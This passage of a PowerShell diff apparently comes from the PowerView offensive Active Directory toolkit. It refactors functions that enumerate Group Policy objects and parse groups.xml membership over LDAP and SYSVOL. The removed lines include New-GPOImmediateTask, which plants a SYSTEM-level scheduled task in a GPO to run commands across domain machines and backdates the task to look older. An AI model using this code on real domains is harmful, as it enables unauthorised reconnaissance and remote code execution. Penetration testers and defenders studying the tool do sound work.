"Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force + END { + # remove the SYSVOL mappings + $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } } } -filter Get-GroupsXML { +function Get-GroupsXML { <# - .SYNOPSIS +.SYNOPSIS + +Helper to parse a groups.xml file path into a custom object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID - Helper to parse a groups.xml file path into a custom object. +.DESCRIPTION - .PARAMETER GroupsXMLpath +Parses a groups.xml into a custom object. If -Credential is passed, +Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, +the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. - The groups.xml file path name to parse. +.PARAMETER GroupsXMLpath - .PARAMETER UsePSDrive +Specifies the groups.xml file path name to parse. - Switch. Mount the target groups.xml folder path as a temporary PSDrive. +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.OUTPUTS + +PowerView.GroupsXML #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GroupsXML')] [CmdletBinding()] Param ( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Path')] [String] $GroupsXMLPath, - [Switch] - $UsePSDrive + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - if($UsePSDrive) { - # if we're PSDrives, create a temporary mount point - $Parts = $GroupsXMLPath.split('\') - $FolderPath = $Parts[0..($Parts.length-2)] -join '\' - $FilePath = $Parts[-1] - $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - - Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" - - try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - catch { - Write-Verbose "Error mounting path $GroupsXMLPath : $_" - return $Null - } - - # so we can cd/dir the new drive - $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath + BEGIN { + $MappedPaths = @{} } - else { - $TargetGroupsXMLPath = $GroupsXMLPath - } - - try { - [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop - # process all group properties in the XML - $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { - - $Groupname = $_.Properties.groupName - - # extract the localgroup sid for memberof - $GroupSID = $_.Properties.groupSid - if(-not $GroupSID) { - if($Groupname -match 'Administrators') { - $GroupSID = 'S-1-5-32-544' - } - elseif($Groupname -match 'Remote Desktop') { - $GroupSID = 'S-1-5-32-555' - } - elseif($Groupname -match 'Guests') { - $GroupSID = 'S-1-5-32-546' - } - else { - $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID + PROCESS { + try { + if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL" + if (-not $MappedPaths[$SysVolPath]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -Path $SysVolPath -Credential $Credential + $MappedPaths[$SysVolPath] = $True } } - # extract out members added to this group - $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { - if($_.sid) { $_.sid } - else { $_.name } - } + [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop - if ($Members) { + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { - # extract out any/all filters...I hate you GPP - if($_.filters) { - $Filters = $_.filters.GetEnumerator() | ForEach-Object { - New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + $Groupname = $_.Properties.groupName + + # extract the localgroup sid for memberof + $GroupSID = $_.Properties.groupSid + if (-not $GroupSID) { + if ($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif ($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif ($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + else { + if ($PSBoundParameters['Credential']) { + $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential + } + else { + $GroupSID = ConvertTo-SID -ObjectName $Groupname + } } } - else { - $Filters = $Null + + # extract out members added to this group + $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + if ($_.sid) { $_.sid } + else { $_.name } } - if($Members -isnot [System.Array]) { $Members = @($Members) } + if ($Members) { + # extract out any/all filters...I hate you GPP + if ($_.filters) { + $Filters = $_.filters.GetEnumerator() | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + } + } + else { + $Filters = $Null + } - $GPOGroup = New-Object PSObject - $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath - $GPOGroup | Add-Member Noteproperty 'Filters' $Filters - $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName - $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID - $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null - $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members - $GPOGroup + if ($Members -isnot [System.Array]) { $Members = @($Members) } + + $GroupsXML = New-Object PSObject + $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath + $GroupsXML | Add-Member Noteproperty 'Filters' $Filters + $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName + $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID + $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null + $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members + $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML') + $GroupsXML + } } } - } - catch { - Write-Verbose "Error parsing $TargetGroupsXMLPath : $_" + catch { + Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_" + } } - if($UsePSDrive -and $RandDrive) { - Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force + END { + # remove the SYSVOL mappings + $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } } } -function Get-NetGPO { +function Get-DomainGPO { <# - .SYNOPSIS - - Gets a list of all current GPOs in a domain. - - .PARAMETER GPOname - - The GPO name to query for, wildcards accepted. - - .PARAMETER DisplayName - - The GPO display name to query for, wildcards accepted. +.SYNOPSIS - .PARAMETER ComputerName +Return all GPOs or specific GPO objects in AD. - Return all GPO objects applied to a given computer (FQDN). +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty - .PARAMETER Domain +.DESCRIPTION - The domain to query for GPOs, defaults to the current domain. +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properies, use +"-Properties samaccountname,usnchanged,...". By default, all GPO objects for +the current domain are returned. To enumerate all GPOs that are applied to +a particular machine, use -ComputerName X. - .PARAMETER DomainController +.PARAMETER Identity - Domain controller to reflect LDAP queries through. +A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. - .PARAMETER ADSpath +.PARAMETER ComputerIdentity - The LDAP source to search through - e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" +Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.). - .PARAMETER PageSize +.PARAMETER UserIdentity - The PageSize to set for the LDAP searcher object. +Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.). - .PARAMETER Credential +.PARAMETER Domain - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Specifies the domain to use for the query, defaults to the current domain. - .EXAMPLE +.PARAMETER LDAPFilter - PS C:\> Get-NetGPO -Domain testlab.local - - Returns the GPOs in the 'testlab.local' domain. -#> - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $GPOname = '*', - - [String] - $DisplayName, - - [String] - $ComputerName, - - [String] - $Domain, - - [String] - $DomainController, - - [String] - $ADSpath, +Specifies an LDAP query string that is used to filter Active Directory objects. - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - begin { - $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - } - - process { - if ($GPOSearcher) { +.PARAMETER Properties - if($ComputerName) { - $GPONames = @() - $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize +Specifies the properties of the output object to retrieve from the server. - if(!$Computers) { - throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" - } - - # get the given computer's OU - $ComputerOUs = @() - ForEach($Computer in $Computers) { - # extract all OUs a computer is a part of - $DN = $Computer.distinguishedname +.PARAMETER SearchBase - $ComputerOUs += $DN.split(",") | ForEach-Object { - if($_.startswith("OU=")) { - $DN.substring($DN.indexof($_)) - } - } - } - - Write-Verbose "ComputerOUs: $ComputerOUs" +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - # find all the GPOs linked to the computer's OU - ForEach($ComputerOU in $ComputerOUs) { - $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object { - # get any GPO links - write-verbose "blah: $($_.name)" - $_.gplink.split("][") | ForEach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] - } - } - } - } - - Write-Verbose "GPONames: $GPONames" +.PARAMETER Server - # find any GPOs linked to the site for the given computer - $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName - if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { - $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { - if($_.gplink) { - $_.gplink.split("][") | ForEach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] - } - } - } - } - } +Specifies an Active Directory server (domain controller) to bind to. - $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object { +.PARAMETER SearchScope - # use the gplink as an ADS path to enumerate all GPOs for the computer - $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - try { - $Results = $GPOSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Out = Convert-LDAPProperty -Properties $_.Properties - $Out | Add-Member Noteproperty 'ComputerName' $ComputerName - $Out - } - $Results.dispose() - $GPOSearcher.dispose() - } - catch { - Write-Warning $_ - } - } - } +.PARAMETER ResultPageSize - else { - if($DisplayName) { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" - } - else { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" - } +Specifies the PageSize to set for the LDAP searcher object. - try { - $Results = $GPOSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - if($ADSPath -and ($ADSpath -Match '^GC://')) { - $Properties = Convert-LDAPProperty -Properties $_.Properties - try { - $GPODN = $Properties.distinguishedname - $GPODomain = $GPODN.subString($GPODN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($Properties.cn)" - $Properties | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath - $Properties - } - catch { - $Properties - } - } - else { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties - } - } - $Results.dispose() - $GPOSearcher.dispose() - } - catch { - Write-Warning $_ - } - } - } - } -} +.PARAMETER ServerTimeLimit +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. -function New-GPOImmediateTask { -<# - .SYNOPSIS +.PARAMETER SecurityMasks - Builds an 'Immediate' schtask to push out through a specified GPO. +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - .PARAMETER TaskName +.PARAMETER Tombstone - Name for the schtask to recreate. Required. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER Command +.PARAMETER FindOne - The command to execute with the task, defaults to 'powershell' +Only return one result object. - .PARAMETER CommandArguments +.PARAMETER Credential - The arguments to supply to the -Command being launched. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER TaskDescription +.PARAMETER Raw - An optional description for the task. +Switch. Return raw results instead of translating the fields into a custom PSObject. - .PARAMETER TaskAuthor - - The displayed author of the task, defaults to ''NT AUTHORITY\System' +.EXAMPLE - .PARAMETER TaskModifiedDate - - The displayed modified date for the task, defaults to 30 days ago. +Get-DomainGPO -Domain testlab.local - .PARAMETER GPOname +Return all GPOs for the testlab.local domain - The GPO name to build the task for. +.EXAMPLE - .PARAMETER GPODisplayName +Get-DomainGPO -ComputerName windows1.testlab.local - The GPO display name to build the task for. +Returns all GPOs applied windows1.testlab.local - .PARAMETER Domain +.EXAMPLE - The domain to query for the GPOs, defaults to the current domain. +"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO - .PARAMETER DomainController +Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display +name of "Test GPO" - Domain controller to reflect LDAP queries through. +.EXAMPLE - .PARAMETER ADSpath +Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon - The LDAP source to search through - e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" +.EXAMPLE - .PARAMETER Credential +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPO -Credential $Cred - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target. +.OUTPUTS - .EXAMPLE +PowerView.GPO - PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force +Custom PSObject with translated GPO property fields. - Create an immediate schtask that executes the specified PowerShell arguments and - push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt. +PowerView.GPO.Raw - .EXAMPLE +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> - PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GPO')] + [OutputType('PowerView.GPO.Raw')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, - Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt. -#> - [CmdletBinding(DefaultParameterSetName = 'Create')] - Param ( - [Parameter(ParameterSetName = 'Create', Mandatory = $True)] - [String] + [Parameter(ParameterSetName = 'ComputerIdentity')] + [Alias('ComputerName')] [ValidateNotNullOrEmpty()] - $TaskName, - - [Parameter(ParameterSetName = 'Create')] [String] - [ValidateNotNullOrEmpty()] - $Command = 'powershell', + $ComputerIdentity, - [Parameter(ParameterSetName = 'Create')] - [String] + [Parameter(ParameterSetName = 'UserIdentity')] + [Alias('UserName')] [ValidateNotNullOrEmpty()] - $CommandArguments, - - [Parameter(ParameterSetName = 'Create')] [String] - [ValidateNotNullOrEmpty()] - $TaskDescription = '', + $UserIdentity, - [Parameter(ParameterSetName = 'Create')] - [String] [ValidateNotNullOrEmpty()] - $TaskAuthor = 'NT AUTHORITY\System', + [String] + $Domain, - [Parameter(ParameterSetName = 'Create')] + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] + $LDAPFilter, + [ValidateNotNullOrEmpty()] - $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"), + [String[]] + $Properties, - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $GPOname, + $SearchBase, - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $GPODisplayName, + $Server, - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $Domain, + $SearchScope = 'Subtree', - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] - [String] - $DomainController, - - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] - $ADSpath, + $SecurityMasks, - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] [Switch] - $Force, + $Tombstone, - [Parameter(ParameterSetName = 'Remove')] + [Alias('ReturnOne')] [Switch] - $Remove, + $FindOne, - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] [Management.Automation.PSCredential] - $Credential - ) + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - # build the XML spec for our 'immediate' scheduled task - $TaskXML = ''+$TaskAuthor+''+$TaskDescription+'NT AUTHORITY\SystemHighestAvailableS4UPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3'+$Command+''+$CommandArguments+'%LocalTimeXmlEx%%LocalTimeXmlEx%true' + [Switch] + $Raw + ) - if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) { - Write-Warning 'Either -GPOName or -GPODisplayName must be specified' - return + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $GPOSearcher = Get-DomainSearcher @SearcherArguments } - # eunmerate the specified GPO(s) - $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential - - if(!$GPOs) { - Write-Warning 'No GPO found.' - return - } + PROCESS { + if ($GPOSearcher) { + if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { + $GPOAdsPaths = @() + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } + $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' + $TargetComputerName = $Null + + if ($PSBoundParameters['ComputerIdentity']) { + $SearcherArguments['Identity'] = $ComputerIdentity + $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $Computer) { + Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" + } + $ObjectDN = $Computer.distinguishedname + $TargetComputerName = $Computer.dnshostname + } + else { + $SearcherArguments['Identity'] = $UserIdentity + $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $User) { + Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" + } + $ObjectDN = $User.distinguishedname + } - $GPOs | ForEach-Object { - $ProcessedGPOName = $_.Name - try { - Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName" + # extract all OUs the target user/computer is a part of + $ObjectOUs = @() + $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { + if($_.startswith('OU=')) { + $ObjectDN.SubString($ObjectDN.IndexOf($_)) + } + } + Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" + + if ($ObjectOUs) { + # find all the GPOs linked to the user/computer's OUs + $SearcherArguments.Remove('Properties') + $InheritanceDisabled = $False + ForEach($ObjectOU in $ObjectOUs) { + if ($InheritanceDisabled) { break } + $SearcherArguments['Identity'] = $ObjectOU + $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { + # extract any GPO links for this particular OU the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } + } - # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :( - if($Credential) { - Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\" - $Path = $_.gpcfilesyspath.TrimEnd('\') - $Net = New-Object -ComObject WScript.Network - $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password) - $TaskPath = "N:\Machine\Preferences\ScheduledTasks\" - } - else { - $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\" - } + # if this OU has GPO inheritence disabled, break so additional OUs aren't processed + if ($_.gpoptions -eq 1) { + $InheritanceDisabled = $True + } + } + } + } - if($Remove) { - if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) { - Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml" + if ($TargetComputerName) { + # find all the GPOs linked to the computer's site + $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName + if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { + $SearcherArguments['Identity'] = $ComputerSite + $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular site the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } + } + } + } + } } - if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) { - return + # find any GPOs linked to the user/computer's domain + $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) + $SearcherArguments.Remove('Identity') + $SearcherArguments.Remove('Properties') + $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" + $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular domain the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } + } + } } + Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" - Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force + # restore the old properites to return, if set + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + else { $SearcherArguments.Remove('Properties') } + $SearcherArguments.Remove('Identity') + + $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { + # use the gplink as an ADS path to enumerate all GPOs for the computer + $SearcherArguments['SearchBase'] = $_ + $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" + Get-DomainObject @SearcherArguments | ForEach-Object { + if ($PSBoundParameters['Raw']) { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') + } + else { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + } + $_ + } + } } else { - if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) { - return + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_ + if ($IdentityInstance -match 'LDAP://') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + elseif ($IdentityInstance -match '{.*}') { + $IdentityFilter += "(name=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(displayname=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" } - - # create the folder if it doesn't exist - $Null = New-Item -ItemType Directory -Force -Path $TaskPath - if(Test-Path "$TaskPath\ScheduledTasks.xml") { - Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !" + $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)" + Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() } + else { $Results = $GPOSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $GPO = $_ + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') + } + else { + if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { + $GPO = Convert-LDAPProperty -Properties $_.Properties + try { + $GPODN = $GPO.distinguishedname + $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" + $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath + } + catch { + Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" + } + } + else { + $GPO = Convert-LDAPProperty -Properties $_.Properties + } + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + } + $GPO } - - $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml" - } - - if($Credential) { - Write-Verbose "Removing mounted drive at N:\" - $Net = New-Object -ComObject WScript.Network - $Net.RemoveNetworkDrive("N:") - } - } - catch { - Write-Warning "Error for GPO $ProcessedGPOName : $_" - if($Credential) { - Write-Verbose "Removing mounted drive at N:\" - $Net = New-Object -ComObject WScript.Network - $Net.RemoveNetworkDrive("N:") + try { $Results.dispose() } catch {} + $GPOSearcher.dispose() } } } } -function Get-NetGPOGroup { +function Get-DomainGPOLocalGroup { <# - .SYNOPSIS +.SYNOPSIS + +Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' +or Group Policy preferences. Also return their user membership mappings, if they exist. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID + +.DESCRIPTION + +First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed +arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or +group membership is set through Group Policy Preferences groups.xml files. For any +GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' +section data is processed if present. Any found Groups.xml files are parsed with +Get-GroupsXML and those memberships are returned as well. + +.PARAMETER Identity + +A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. + +.PARAMETER ResolveMembersToSIDs + +Switch. Indicates that any member names should be resolved to their domain SIDs. + +.PARAMETER Domain - Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines. +Specifies the domain to use for the query, defaults to the current domain. - Author: @harmj0y - License: BSD 3-Clause - Required Dependencies: Get-NetGPO, Get-GptTmpl, Get-GroupsXML, Convert-NameToSid, Convert-SidToName - Optional Dependencies: None - - .DESCRIPTION +.PARAMETER LDAPFilter - First enumerates all GPOs in the current/target domain using Get-NetGPO with passed - arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or - 